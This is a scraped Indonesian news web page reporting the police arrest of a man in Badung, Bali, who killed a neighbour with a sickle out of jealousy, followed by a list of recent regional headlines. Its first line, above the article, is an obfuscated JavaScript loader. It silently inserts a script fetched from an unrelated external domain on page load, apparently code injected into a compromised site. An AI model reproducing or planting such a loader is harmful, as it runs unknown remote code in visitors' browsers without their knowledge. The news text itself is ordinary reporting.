(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal

Cemburu Buta, Suami Tebas Pria yang Ajak Istrinya Begituan


KANALKALIMANTAN.COM, BALI – Satuan Reserse Kriminal Polres Badung menangkap tersangka kasus pembunuhan berencana bernama Matsari (44) yang terjadi pada Sabtu (20/3/2021) pukul 16.00 WITA di sekitar area Muding Indah, Kabupaten Badung, Bali.

“Motifnya yang diketahui bahwa pelaku ini cemburu, karena korban yang bernama Karmiadi, ingin mengajak istri pelaku untuk berhubungan intim,” kata Kasubag Humas Polres Badung Iptu I Ketut Oka Bawa, Minggu (21/3/2020).

Kejadian ini termasuk tindak pidana pembunuhan berencana karena tersangka telah menyiapkan senjata tajam, untuk membunuh korban.

Barang bukti yang digunakan oleh tersangka berupa satu celurit yang kemudian dibuang ke sungai.

Tersangka ditangkap pada Sabtu (20/3) sekitar pukul 19.00 WITA, di seputaran Muding Indah yang merupakan tempat penampungan rongsokan dan dekat dengan lokasi TKP.

Baca juga : Peduli Lingkungan Hidup, WOM Finance Tanam Seribu Pohon untuk Penghijauan

“Korban dengan pelaku ini tidak saling mengenal, tetapi mereka tetangga kos. Namun, istri pelaku ini yang justru akrab dengan korban, diduga sudah terjadi hubungan intim antara korban dengan istri pelaku, tapi itu masih kami dalami lagi,” ujarnya.

Korban dan tersangka sama-sama sudah memiliki keluarga dan tinggal di area kos yang sama.

Dari keterangan tersangka, dia melakukan aksi karena dibakar cemburu. Dia mengatakan istrinya akan diajak berhubungan intim oleh orang lain dan kemudian tersangka membawa celurit dari rumah untuk membunuh korban di TKP.

“Dari keterangan saksi bernama Yasin yang saat itu berada di TKP menjelaskan sekitar pukul 15.30 WITA, ia sedang berada di dekat sungai dengan kawannya dan melihat korban memperbaiki sangkar burung. Kemudian, pelaku datang dan menebas korban dengan celurit,” kata dia.

Pembunuhan dimulai dengan melukai kepala korban sehingga korban tersungkur dan jatuh di sungai. Melihat kondisi tersebut, tersangka langsung membuang celurit ke sungai.

Atas perbuatannya, tersangka dikenakan Pasal 340 KUHP dengan hukuman pidana mati atau seumur hidup atau paling lama 20 tahun. [Antara](Suara)

Editor : Suara

 

 


Al Ghifari

Recent Posts

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

3 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

5 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

5 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

6 jam ago

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

8 jam ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

8 jam ago

This website uses cookies.